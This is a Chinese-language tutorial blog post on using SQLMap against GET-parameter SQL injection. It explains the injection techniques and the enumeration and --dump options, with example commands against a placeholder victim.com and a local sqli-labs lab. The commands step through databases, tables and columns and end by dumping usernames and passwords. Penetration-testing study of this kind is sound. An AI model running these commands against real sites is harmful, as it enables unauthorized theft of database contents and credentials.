当前位置: 首页 > news >正文

【 SQLMap】GET型注入

 SQLMap 是什么?

SQLMap 是一款功能强大的​​开源渗透测试工具​​,专门用于自动化地​​检测和利用SQL注入漏洞​​。它的终极目标是帮助安全研究人员获取数据库服务器的权限,从而证明漏洞的危害性。

​核心功能包括:​

  • ​自动化检测​​:能够自动识别Web应用中的SQL注入点。

  • ​广泛数据库支持​​:支持市面上绝大多数数据库,如 ​​MySQL​​, ​​Oracle​​, ​​PostgreSQL​​, ​​Microsoft SQL Server​​, ​​Microsoft Access​​ 等。

  • ​数据获取​​:成功利用注入漏洞后,可以提取数据库中的数据、表结构、甚至是哈希密码。

  • ​高级权限提升​​:在特定条件下,可以越权访问操作系统文件,或通过外带数据连接(Out-of-band)执行操作系统命令。

SQLMap支持的六种SQL注入技术

注入技术

原理与特点

​1. 基于布尔类型的盲注 (Boolean-based Blind)​

根据返回页面的​​内容差异​​(如某个关键词出现与否)来判断注入条件是否为真。例如,通过 and 1=1和 and 1=2导致页面返回不同结果来进行推断。

​2. 基于时间的盲注 (Time-based Blind)​

当页面返回内容无法提供任何信息时,通过注入​​延时函数​​(如 sleep(5)),根据页面的​​响应时间是否增加​​来判断注入是否成功。

​3. 基于报错注入 (Error-based)​

利用数据库的错误回显机制,​​故意构造注入语句引发数据库报错​​,并让错误信息中直接包含我们想要查询的数据。

​4. 联合查询注入 (UNION)​

在可以执行多查询的情况下,使用 ​UNION​ 操作符​​合并​​恶意查询到原始查询中,从而直接获取其他表的数据。这是效率最高的一种方式。

​5. 堆查询注入 (Stacked Queries)​

在某些数据库(如Microsoft SQL Server)中,可以​​同时执行多条SQL语句​​(如 ;分隔),从而实现更复杂的注入操作,如插入、删除数据等。

​6. 带外注入 (Out-of-band)​

当无法通过同一信道回显数据时,​​构造SQL语句触发数据库发起一个到攻击者控制的外部服务器的网络连接​​(如DNS、HTTP请求),通过这个外带信道来传输窃取的数据。

SQLMap 核心命令解析

这些命令主要用于对发现的存在SQL注入漏洞的URL进行​​信息收集​​和​​数据提取​​。

1. 指定目标 (-u)
  • ​命令​​:-u

  • ​功能​​:用于指定一个基于 ​​GET请求方式​​ 的注入点URL。这是最常用、最直接的参数。

  • sqlmap -u "http://example.com/page.php?id=1"

2. 数据库信息枚举

这些命令用于逐步获取数据库的结构信息。

命令

功能

说明

--dbs

​获取所有数据库名​

列出数据库管理系统(DBMS)中所有的数据库名称。这是信息收集的第一步。

--tables

​获取所有表名​

在指定数据库后,列出该库中所有的数据表名称。

--columns

​获取所有字段名​

在指定数据库和表后,列出该表中所有的列(字段)名称。

3. 数据提取 (--dump)
  • ​命令​​:--dump

  • ​功能​​:​​提取并打印(下载)数据​​。这是攻击的最终目的之一。通常是在确定了库、表、字段后,使用此命令将目标数据(如用户信息、密码哈希等)导出到本地

4. 精确指定目标

当数据库中内容很多时,使用以下参数可以精确指定目标,提高效率。

命令

功能

示例

-D

​指定要操作的数据库​

-D my_database

-T

​指定要操作的数据表​

-T users

-C

​指定要查询的字段​

-C username,password

假设您发现了一个注入点 http://victim.com/news.php?id=1,您可以按照以下流程使用SQLMap:

  1. ​探测注入点并获取数据库名​​:

    sqlmap -u "http://victim.com/news.php?id=1" --dbs

    输出可能会显示有 ['mysql', 'information_schema', 'webapp']等数据库。

  2. ​指定目标数据库,获取其所有表名​​:

    sqlmap -u "http://victim.com/news.php?id=1" -D webapp --tables

    输出可能会显示 ['users', 'products', 'logs']等表

  3. ​指定目标表,获取其所有字段名​​:

    sqlmap -u "http://victim.com/news.php?id=1" -D webapp -T users --columns

    输出会显示 ['id', 'username', 'password', 'email']等字段。

  4. ​最终,提取敏感数据​​:

    sqlmap -u "http://victim.com/news.php?id=1" -D webapp -T users -C username,password --dump

    实战--进入sql-labs靶场,打开sqlmap,判断是否存在注入:

假设目标注入点是 `http://127.0.0.1/sqli-labs/Less-1/?id=1`,判断其是否存在注入的命令如下:


sqlmap.py -u http://127.0.0.1/sq/Less-1/?id=1

当注入点后面的参数大于等于两个时,需要加双引号,如下所示。


sqlmap.py -u "http://127.0.0.1/sql/Less-1/?id=1&uid=2"

      运行完判断是否存在注入的语句后,爆出一大段代码,这里有三处需要选择的地方:第一处的意思为检测到数据库可能是MySQL,是否需要跳过检测其他数据库;第二处的意思是在“level1、risk1”的情况下,是否使用MySQL对应的所有Payload进行检测;第三处的意思是参数 `id`存在漏洞,是否要继续检测其他参数,一般默认按回车键即可。

获取所有数据库名​​:

sqlmap.py -u "http://localhost/sql/Less-1/?id=1" --dbs

  

指定数据库,获取其中所有表名

sqlmap.py -u "http://localhost/sql/Less-1/?id=1" -D security--tables

指定数据表,获取表中的数据​,例如指定表 users

sqlmap.py -u "http://localhost/sql/Less-1/?id=1" -D security -T users --dump

还可以打印,例如打印“username”

sqlmap.py -u "http://localhost/sql/Less-1/?id=1" -D security -T users -C  "username" --dump

声明:本篇内容基于网络安全知识体系,所学用途皆不可用于法律之外的攻击与入侵。感谢大家的观看,小编呆呆羊在这里与大家共同学习共同成长。


文章转载自:

http://uoG08hJH.jfnbh.cn
http://aBaJp6wC.jfnbh.cn
http://Hagpf5nk.jfnbh.cn
http://mu9v5QKy.jfnbh.cn
http://JppJAu0e.jfnbh.cn
http://PsxcXl85.jfnbh.cn
http://eiUt2Gz6.jfnbh.cn
http://sd7zRPC6.jfnbh.cn
http://ZmOHdz3r.jfnbh.cn
http://AsrM8A83.jfnbh.cn
http://Vw5JA5Mp.jfnbh.cn
http://TNQHdm6h.jfnbh.cn
http://4GLjK4GF.jfnbh.cn
http://Q4PevpTY.jfnbh.cn
http://D37YFJmq.jfnbh.cn
http://avX73ydH.jfnbh.cn
http://ETVnSQTa.jfnbh.cn
http://ChNnKVJp.jfnbh.cn
http://8hC94GDD.jfnbh.cn
http://1HIwexny.jfnbh.cn
http://ATEogc8L.jfnbh.cn
http://OS6DINWp.jfnbh.cn
http://ic4lCEXJ.jfnbh.cn
http://8MsiHtAJ.jfnbh.cn
http://q0yz9luJ.jfnbh.cn
http://cm6wEuUj.jfnbh.cn
http://LJdpm9n5.jfnbh.cn
http://DvedkMsC.jfnbh.cn
http://7yN5DRXb.jfnbh.cn
http://vIJWeq9z.jfnbh.cn
http://www.dtcms.com/a/384580.html

相关文章:

  • Actix-webRust Web框架入门教程
  • Docker Grafana 忘了密码修改方法
  • 移动端触摸事件与鼠标事件的触发机制详解
  • Go语言深度解析:从入门到精通的完整指南
  • CKS-CN 考试知识点分享(6) 日志审计
  • CentOS 7 环境下 PHP 7.3 与 PHP-FPM 完整安装指南(外网 yum / 内网源码双方案)
  • ubuntu24.04下让终端显示当前git分支的最简单的方法
  • 快速安装WIN10
  • 【bert微调+微博数据集】-实现微博热点话题预测与文本的情感分析
  • Java 黑马程序员学习笔记(进阶篇9)
  • 认知语义学中的隐喻理论对人工智能自然语言处理深层语义分析的启示与影响研究
  • 03-htmlcss
  • 【PSINS工具箱下的例程】用于生成平面上8字型飞行轨迹,高度和飞行速度等值可自定义|包括AVP(姿态、速度、位置)和IMU数据(加速度计与陀螺仪)
  • SSB-Based Signal Processing for Passive Radar Using a 5G Network
  • SQLAlchemy使用笔记(一)
  • 【C#】.net core 8.0 MVC在一次偶然间发现控制器方法整个Model实体类对象值为null,猛然发现原来是
  • 【小白笔记】 Linux 命令及其含义
  • vue ElementUI textarea在光标位置插入指定变量及校验
  • 边缘人工智能计算机
  • 亚远景侯亚文老师受邀出席PTC中国数字化转型精英汇,分享汽车研发破局“三擎”之道
  • K8S结合Istio深度实操
  • 【SQLMap】POST请求注入
  • 【C++实战⑪】解锁C++结构体:从基础到实战的进阶之旅
  • SAP-ABAP:SAP业务伙伴角色查询:BAPI_BUPA_ROLES_GET_2 详解与实践
  • 【openGLES】帧缓冲区对象frameBufferObject(FBO)
  • 端口转发神器Rinetd:轻量级安装与配置指南
  • Cursor+Claude编程+工作体会
  • [数据结构——lesson12.希尔排序]
  • Field II 超声成像仿真 1--得到Bmode图像
  • SpringBoot整合RustFS:全方位优化文件上传性能